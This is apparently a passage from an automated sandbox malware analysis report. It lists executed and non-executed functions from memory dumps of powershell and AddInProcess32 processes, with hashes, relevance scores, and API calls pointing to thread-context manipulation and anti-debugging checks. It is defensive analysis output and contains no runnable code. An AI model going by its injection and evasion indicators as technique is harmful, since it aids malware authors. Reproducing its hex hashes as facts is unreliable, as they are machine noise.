Instruction ID: f4bd17357fc59055117ad3584c6fd202560f29a2b82e3f97a0c1a1084ec0d31d
Opcode Fuzzy Hash: afa5aa302d9369a2ba697a4d8faf8d488948bf04b9915ec83154d940e0d140fe
Instruction Fuzzy Hash: 3A1137B1D002498FDB10CF9AC884BDEFBF4EB88310F25842AD459A3340D378A945CFA5

Function 003187F0 Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,003194CA), ref: 00319CE3

Memory Dump Source

Source File: 00000008.00000002.519940452.0000000000310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_310000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 26fec37e09c7db8f04f80abbe186456ff70c73e6515b0d851265d7c53e637d08
Instruction ID: dc3362d3303efa3c4824dc24349fd64d49e26e69a7be59dc8074069dd07724bc
Opcode Fuzzy Hash: 26fec37e09c7db8f04f80abbe186456ff70c73e6515b0d851265d7c53e637d08
Instruction Fuzzy Hash: 031126B1D002498FDB10CF9AC884BDEBBF4EB88320F25842AD459A3640D378A945CFA5

Function 00319C71 Relevance: 1.6, APIs: 1, Instructions: 56
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,003194CA), ref: 00319CE3

Memory Dump Source

Source File: 00000008.00000002.519940452.0000000000310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_310000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 3f6865aefc95045129cc6be246ca2e1ac762e1225134a75ebab8f267f0684cbb
Instruction ID: f26e7e454ce409c1d30daf8db04a6d9509975cd03d36c849d3d618c5e8f44cc6
Opcode Fuzzy Hash: 3f6865aefc95045129cc6be246ca2e1ac762e1225134a75ebab8f267f0684cbb
Instruction Fuzzy Hash: E01126B1D002498FDB10CF9AC884BDEBBF4EB88310F15842AD458A7241D3789A45CFA5

Function 008B3490 Relevance: .6, Instructions: 580COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.520032653.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1cfc382bb4a085c6712488a9fe3564064377e456c6c74d96b4d4b02e0c21341
Instruction ID: 6ecd56bb0c2347e2e6099622e6e88ab84f8e278842b9c47a6aa46ed356ae9bbc
Opcode Fuzzy Hash: e1cfc382bb4a085c6712488a9fe3564064377e456c6c74d96b4d4b02e0c21341
Instruction Fuzzy Hash: 4012CF30B042159FDB259F68C854BEABBA2FF95320F24807AD459CB361DB31DE46CB91

Function 008B2358 Relevance: .5, Instructions: 451
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.520032653.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e58a620edd50abfda8ce6506ef6ad0bd8a4a98356d954513f17d8ece1e1abb3
Instruction ID: 62557eba6d36210a4d18a557ddc5cf23a2694d6f69df460d5abb9aed4caf23e5
Opcode Fuzzy Hash: 4e58a620edd50abfda8ce6506ef6ad0bd8a4a98356d954513f17d8ece1e1abb3
Instruction Fuzzy Hash: BBE1E675B002159FDB24DB68C850ABABBE2FFD5314B2485BAD809CB352DB31DD42CB91

Function 008B2C10 Relevance: .3, Instructions: 314
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.520032653.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 371c8f718ea8f60dc1fe7950fa1ebf5e2c4c0af85aa580c3640f40ee2e10bc65
Instruction ID: e9ff3693bbded6f10365ac6853a43badfb29cce87bd7a5ff6fb41a4a86f6c410
Opcode Fuzzy Hash: 371c8f718ea8f60dc1fe7950fa1ebf5e2c4c0af85aa580c3640f40ee2e10bc65
Instruction Fuzzy Hash: 78B17274B002098FDB249B64C454BEA7BF2FF89314F24856AD805EB352DB71DD82CBA1

Function 008B1188 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.520032653.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbd9dfa849cafb0484546c539900a4c61779137597d56a9a265b62590c173942
Instruction ID: 5b0e79b6547fce9a853ac21c3d87e3e75daa3f043c8e5a7ae08d1930d1b4cb5f
Opcode Fuzzy Hash: cbd9dfa849cafb0484546c539900a4c61779137597d56a9a265b62590c173942
Instruction Fuzzy Hash: B541B530A092949FDB21CB24C869AA9BFB1FF86300F1980EBD944DF392C7719D46C751

Function 008B2BF0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.520032653.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6c1a65d27ad256fc08f85fea059dabdbd93a4af88c30438617d8d68acfe80f3
Instruction ID: c27620df2e1d9fc70b6743cf9c6017414d0c30172a5623e6048b0ae25b7f5d19
Opcode Fuzzy Hash: e6c1a65d27ad256fc08f85fea059dabdbd93a4af88c30438617d8d68acfe80f3
Instruction Fuzzy Hash: E331AE30A0420D8FDF259B2489256FA7BA0FF90315F2941AAD804DB392DB75CD85CB61

Function 008B0E98 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.520032653.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baddde9c284241ddafafeaa8bb4b108ef4220208e5bff820f77496c3b9888ed6
Instruction ID: c52c404e42939d750c187b37e5cdc474f6dbaae0cd66e51ff6cf69aec9d535e0
Opcode Fuzzy Hash: baddde9c284241ddafafeaa8bb4b108ef4220208e5bff820f77496c3b9888ed6
Instruction Fuzzy Hash: C731A131B002198FDB349A6994046FBBBA2FBD1311F2484BAD559DB390DF31C996CF92

Function 008B25F0 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.520032653.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e4f77293d26a7246eb1919a4be1b709fa07d282eb09f88632a5d9ffdde0122
Instruction ID: 6e9dfc19e3e323ec3f5e4c2cebb597f92e624139a92be8144c2d1360ec138727
Opcode Fuzzy Hash: 88e4f77293d26a7246eb1919a4be1b709fa07d282eb09f88632a5d9ffdde0122
Instruction Fuzzy Hash: B02130753001059FE714CE49C881E76F7AAFBA5314B18C1AAE819CB355CB32DD52CB91

Function 008B39B8 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.520032653.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adfa535eefd3125bade9833b5b68e66b398114cc13ac3535f6758e7addd24e7f
Instruction ID: 0db5ad08a673cc33a88ffd959f0090f62248c309edf23677f05e959493459574
Opcode Fuzzy Hash: adfa535eefd3125bade9833b5b68e66b398114cc13ac3535f6758e7addd24e7f
Instruction Fuzzy Hash: E1316D30A00609DFDF28CE19C845BEA7BA1FB44724F24916AE415DB3A5D771DA84CB51

Function 008B3650 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.520032653.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e178c0925e5419a7a966eb2a45097d47886369c58deebe7c205f75e787408c8
Instruction ID: c235bd35f7c861fb9cb8d50c5cc300a7b288593559ecf448a2e7f94fcfea4772
Opcode Fuzzy Hash: 3e178c0925e5419a7a966eb2a45097d47886369c58deebe7c205f75e787408c8
Instruction Fuzzy Hash: 5E21B0B0A00205EFCB64DE25C458AA9B7E1FF95310F158276D414CB320EF74DE81CB95

Function 008B0E78 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.520032653.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28e764ae3f228667dd138be6d521379bf7344c86376c6b2e6c714b62e72c6af2
Instruction ID: 62431c2f1585d8613b2dbb33607f0572991e2280bf0145d61542f60159aba60e
Opcode Fuzzy Hash: 28e764ae3f228667dd138be6d521379bf7344c86376c6b2e6c714b62e72c6af2
Instruction Fuzzy Hash: 8E115C31A042098FDB358F64C4006BBBBB1FF91711F2945AAD854DB3A1DB31C986CF52

Function 008B0000 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.520032653.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e59f26c661ff7b5592f68437f8e7b4d0f5101ea4703a7bf7131903367ccde23e
Instruction ID: 3eebd18e6c59a5a7e6afbd90fbf97dc8d518f6b89fa250034dcba67186a1cef8
Opcode Fuzzy Hash: e59f26c661ff7b5592f68437f8e7b4d0f5101ea4703a7bf7131903367ccde23e
Instruction Fuzzy Hash: 8211D02115E3C58FD7039BB888298A13FB1AE5721835E41DBD0C1CF1B3D628994EDB67

Function 0021D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.519904759.000000000021D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0021D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_21d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c4d972091b58f4f0d4442604c4568cfdb26d1401ca287fd16d62f6f21d2bcea
Instruction ID: 4cc921b288b254d00a678cabf0ac5776790ffb0f73af80d3198b7051cf94a029
Opcode Fuzzy Hash: 3c4d972091b58f4f0d4442604c4568cfdb26d1401ca287fd16d62f6f21d2bcea
Instruction Fuzzy Hash: 6201F731514340EEE7244E15CCC47A7BBD8DFA5724F18C559EC490B282C3B99995CAB1

Function 0021D01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.519904759.000000000021D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0021D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_21d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c31eaab6bb81a9bd2f272a60c83e2659c8b51e4a35b2cc921bc60dc3399c4a
Instruction ID: 1c99d38c64df96840c789420830fc98745d924e2b86766fe793362d640368ab5
Opcode Fuzzy Hash: c6c31eaab6bb81a9bd2f272a60c83e2659c8b51e4a35b2cc921bc60dc3399c4a
Instruction Fuzzy Hash: F5F06271504244EEE7208E15CCC4BA6FBD8EB55724F18C55AED485F282C3799D85CAB1

Function 008B147F Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.520032653.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a321721bc5518f40c6c16873910ed96f5c7e3b1c11dbf7646c96879be52c4be7
Instruction ID: 3cf47207e036d8701c4922f0cec0b70290ed3760fb4449b56c6fb82570ded98e
Opcode Fuzzy Hash: a321721bc5518f40c6c16873910ed96f5c7e3b1c11dbf7646c96879be52c4be7
Instruction Fuzzy Hash: F6C04C366004089A8600DA98E8414D9F720EA9512971482A7D51DC7211963395178680

Non-executed Functions

Function 00311F1D Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.519940452.0000000000310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_310000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebef3d772a2fc643a2455b0b52138fb641bacee5135313bf6b41a8926a84f8cf
Instruction ID: 1c8b19fa865eb706db4f75d9d87b8a664fa3f9786f28c7f6ae77cc366749d662
Opcode Fuzzy Hash: ebef3d772a2fc643a2455b0b52138fb641bacee5135313bf6b41a8926a84f8cf
Instruction Fuzzy Hash: 9A719DD281E7C26FD70B577448653DA3F70AF6B250B1A06E7C281CB1A3E518895AC36A

Function 008B2048 Relevance: 5.2, Strings: 4, Instructions: 208COMMON

Download Yara Rule

Strings

@=], xrefs: 008B22A0
L4#p, xrefs: 008B2166
L4#p, xrefs: 008B2108
L4#p, xrefs: 008B2171

Memory Dump Source

Source File: 00000008.00000002.520032653.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID: @=]$L4#p$L4#p$L4#p
API String ID: 0-2866600264
Opcode ID: 047f54655804f50f618d0d8dd4a9b9f57f77226ecc4e0eb7526edbcb968f95d9
Instruction ID: 34b62bebfa64abbbe7fd7083f8945406810d162403a502259cb0bb0d59813cee
Opcode Fuzzy Hash: 047f54655804f50f618d0d8dd4a9b9f57f77226ecc4e0eb7526edbcb968f95d9
Instruction Fuzzy Hash: 1D6116307002589FDF15AA68C814BBEBBA2FF85310F14807AEA05DB391DB31DD81CB62

Analysis Process: AddInProcess32.exePID: 3136, Parent PID: 3984COMMON

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 001D5310 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 001D5387

Memory Dump Source

Source File: 00000009.00000002.626088560.00000000001D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1d0000_AddInProcess32.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: f590cd5e3296d8839971e2665fcfabb411099ec4d86b777e04502c461937d942
Instruction ID: 41f0013d688565ccd94b0c0c9642bea46c3d52f8ea17ec03367386d5e3c57cc0
Opcode Fuzzy Hash: f590cd5e3296d8839971e2665fcfabb411099ec4d86b777e04502c461937d942
Instruction Fuzzy Hash: 502139B19002198FDB10CF9AD884BEEFBF5AF49310F14841AD459B7350D778AA44CF61

Function 005E45E3 Relevance: 2.6, Strings: 2, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

h3:, xrefs: 005E468A
h3:, xrefs: 005E4718

Memory Dump Source

Source File: 00000009.00000002.626840418.00000000005E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5e0000_AddInProcess32.jbxd

Similarity

API ID:
String ID: h3:$h3:
API String ID: 0-398005931
Opcode ID: e2c49920073d0b7fd0e09956590f6bbef3276cb71cf3c7843539ae9fa099e11e
Instruction ID: a85e8576b9b2eb4f486f006ffa136352f20d599020d06ab025a4692a2601bc51
Opcode Fuzzy Hash: e2c49920073d0b7fd0e09956590f6bbef3276cb71cf3c7843539ae9fa099e11e
Instruction Fuzzy Hash: C741CD30A103859FDB15DFA9C48169EBFB5FF8A300F00896AE585DB255DB74A946CF80

Function 005E45F8 Relevance: 2.6, Strings: 2, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

h3:, xrefs: 005E468A
h3:, xrefs: 005E4718

Memory Dump Source

Source File: 00000009.00000002.626840418.00000000005E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5e0000_AddInProcess32.jbxd

Similarity

API ID:
String ID: h3:$h3:
API String ID: 0-398005931
Opcode ID: ebe499a72e4179bab23ef7ae98252e4f608a7f675b848bd20443d7b8e83e7411
Instruction ID: bc95bbdf3009e39968854740a1bd954084eb74d3e62de0614ca57fb062630b46
Opcode Fuzzy Hash: ebe499a72e4179bab23ef7ae98252e4f608a7f675b848bd20443d7b8e83e7411
Instruction Fuzzy Hash: 7A315034A107499FDB14DFA9C48569EBBB6FF8A300F108929E545EB354EB70AD45CF80

Function 005E0AC0 Relevance: 1.7, Strings: 1, Instructions: 405
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&55p, xrefs: 005E0B1B

Memory Dump Source

Source File: 00000009.00000002.626840418.00000000005E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5e0000_AddInProcess32.jbxd

Similarity

API ID:
String ID: &55p
API String ID: 0-1955183375
Opcode ID: 065d52a690b7714b33d2646d1ef5bc10d0459bfdadf0831c9fc46bcda0be3275
Instruction ID: 2d9122008c9f53879aa626d1d96213e6fbd25dadc0610de152856254ca04c47f
Opcode Fuzzy Hash: 065d52a690b7714b33d2646d1ef5bc10d0459bfdadf0831c9fc46bcda0be3275
Instruction Fuzzy Hash: 6BF17E30A00245CFDB18EF65D494B6EBBB7BF88300F24856AD515AB399DB75EC82CB50

Function 005E0738 Relevance: 1.5, Strings: 1, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4!:, xrefs: 005E08D7

Memory Dump Source

Source File: 00000009.00000002.626840418.00000000005E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5e0000_AddInProcess32.jbxd

Similarity

API ID:
String ID: 4!:
API String ID: 0-2528139279
Opcode ID: 4b241497902e8bbc52782e673e7c750bf3b595576ff0e88d66b2a869adcc1577
Instruction ID: 1c95492169f6298e586719c1201dce0fb02c410742a7cabdce1aceba1c8d827a
Opcode Fuzzy Hash: 4b241497902e8bbc52782e673e7c750bf3b595576ff0e88d66b2a869adcc1577
Instruction Fuzzy Hash: 57A17A30A002549FDB18EB65D584B6EBBF2FF84310F148869E499AB391DB75ED81CF80

Function 005E1AB0 Relevance: 1.5, Strings: 1, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P':, xrefs: 005E1C62

Memory Dump Source

Source File: 00000009.00000002.626840418.00000000005E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5e0000_AddInProcess32.jbxd

Similarity

API ID:
String ID: P':
API String ID: 0-2402589813
Opcode ID: 4b757374af226428e00a99f11eb8227f68a6200c14e24cf6a65bb99e78921f15
Instruction ID: 9c81e0e1b4870433a48d352f7bf2ffc16fd807265dcbc9494822765af865a1c2
Opcode Fuzzy Hash: 4b757374af226428e00a99f11eb8227f68a6200c14e24cf6a65bb99e78921f15
Instruction Fuzzy Hash: 3D91B030B006148FDB18DF65D8856AE7BE6FFC5300F208829E906DB390EB75ED428B94

Function 005E0AB0 Relevance: 1.5, Strings: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&55p, xrefs: 005E0B1B

Memory Dump Source

Source File: 00000009.00000002.626840418.00000000005E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5e0000_AddInProcess32.jbxd

Similarity

API ID:
String ID: &55p
API String ID: 0-1955183375
Opcode ID: b06b8d83fa8cf4bdf1eba7a25edfd46ce03592cbf07d7c864df3dc2c6dd0498e
Instruction ID: 3e047952d4dd8f561919aa32b5ebddf2a8ac3b73e65ed0b27116a5e8c6749929
Opcode Fuzzy Hash: b06b8d83fa8cf4bdf1eba7a25edfd46ce03592cbf07d7c864df3dc2c6dd0498e
Instruction Fuzzy Hash: A7817F30A00245CFDB19EF65C5847AEBBB6FF98300F648529E1419B399DB75EC82CB90

Function 005E48B1 Relevance: 1.3, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$9:, xrefs: 005E48CE

Memory Dump Source

Source File: 00000009.00000002.626840418.00000000005E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5e0000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $9:
API String ID: 0-143483686
Opcode ID: bd5a30eef85148cbb8022000f5489cc3e4ad6be655fa5dcceca4092d4a79f151
Instruction ID: 75b2df0170827d6e47b2e0a0a5f7380fa3a45d8f601356a78aa5ed0908f912c1
Opcode Fuzzy Hash: bd5a30eef85148cbb8022000f5489cc3e4ad6be655fa5dcceca4092d4a79f151
Instruction Fuzzy Hash: 310144357046940FCB2A677AA84226E7F96DFC3310F040CBAF0C6CF251CA549E068B54

Function 005E4980 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.626840418.00000000005E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5e0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e740cca0d253e4434ec08c1704c97a744d22ada1e534fae146c04486e07e1e5
Instruction ID: 30568ab497393064e40418a858829d24de6983977d39f2836953436d68f5647a
Opcode Fuzzy Hash: 2e740cca0d253e4434ec08c1704c97a744d22ada1e534fae146c04486e07e1e5
Instruction Fuzzy Hash: 56811431B002548FCF18AF75D4953AE7BA6FBC9320F20486AE546DB385DB35DD428B94

Function 005E2B90 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.626840418.00000000005E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5e0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fccce43a5dea477c158640967390fb9524d8874fbae2a21c72df5758f0ccb963
Instruction ID: 0bdaa9ebdb5b70f972b08420cf86a9288379275502e3916b883bd679de93762f
Opcode Fuzzy Hash: fccce43a5dea477c158640967390fb9524d8874fbae2a21c72df5758f0ccb963
Instruction Fuzzy Hash: 47914130B002159FDB64DF65C8957AE77F6BFC5300F20846AE949EB388EB71AD418B91

Function 005E2B80 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.626840418.00000000005E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5e0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7ac71c497ef102e1160c06a6f80f36e601768a5e3fe860a1cba5a64cf69af4d
Instruction ID: 08f39d4ed79c5df514781d7f53a24c0ce0cd7ed6e727d9633444f27fbb80788f
Opcode Fuzzy Hash: f7ac71c497ef102e1160c06a6f80f36e601768a5e3fe860a1cba5a64cf69af4d
Instruction Fuzzy Hash: CD5141307002449FDB54EF65D8A6B6E7BE6FFC4300F10846AE949DB388EB71AD418B95

Function 005E06F0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.626840418.00000000005E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5e0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 923cf770763a5cfd9f447c9ec68fdce15adcb2f8600e86e8ac3bc7c7261ef1d3
Instruction ID: ce24f97e500de92bd2c45a557a79f63caaff72c11b700bc96f24db876fe7c2c7
Opcode Fuzzy Hash: 923cf770763a5cfd9f447c9ec68fdce15adcb2f8600e86e8ac3bc7c7261ef1d3
Instruction Fuzzy Hash: A121D331B002189FDB08DB6AE45479EBBB7FB95310F148436E445EB382D771AD418B80

Function 0013D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.625746295.000000000013D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0013D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5764ab92c129c77cbb8e798e6414cad51f62492f89f80e7547f726b4937026e
Instruction ID: 9cc2b925f36a3408b3d289ce1bee96e671aec012a0e12cfe43f8a1bc6175a6b2
Opcode Fuzzy Hash: f5764ab92c129c77cbb8e798e6414cad51f62492f89f80e7547f726b4937026e
Instruction Fuzzy Hash: A321D475604240EFEB18CF24F8C4B16BB65EB84B14F34C569E8494B246C33AD847CBA1

Function 005E1052 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.626840418.00000000005E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5e0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3da06fb08305362189a5b1ba29f0d3748a0d06c14ecbe7a925531c5aca217f34
Instruction ID: f4af511646625c9f0ef1f631e58e22dc3ed2d8d2f82fa93f7ce18486a9f580e2
Opcode Fuzzy Hash: 3da06fb08305362189a5b1ba29f0d3748a0d06c14ecbe7a925531c5aca217f34
Instruction Fuzzy Hash: 72211934A00289CFCB18DBA5D684AAEBBB2FF88311F248115D955A7355E731ECC2CF40

Function 0013D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.625746295.000000000013D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0013D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68e1aa16009c29124b19866519b963363fbe3a70e25f1be76005680992e83943
Instruction ID: d871dea743105e443430f031e21e2595db02dc2169cc50416c2977637125661e
Opcode Fuzzy Hash: 68e1aa16009c29124b19866519b963363fbe3a70e25f1be76005680992e83943
Instruction Fuzzy Hash: DE217F755083809FCB06CF24E994B15BFB1EB46714F28C5DAD8498F266C33AD85ACB62

Function 005E1AAE Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.626840418.00000000005E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5e0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 539ae9d873f06c53fa05868534215c64bcd4328ad285d24efb3b486fe0d33c0b
Instruction ID: ad0b48a2e897578c0cac212639164e9cfc375db343dcf649725ac2bfe9abad3e
Opcode Fuzzy Hash: 539ae9d873f06c53fa05868534215c64bcd4328ad285d24efb3b486fe0d33c0b
Instruction Fuzzy Hash: 62114931700664DBCF2C9EA6D9C16AA7BADFB85310F104835EA80DB240FB71ED01C798

Function 005E3D59 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.626840418.00000000005E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5e0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29b8247ecccae9171bbfe88bb58f42c3bbf1abe3545863483ffd406e470cdfcb
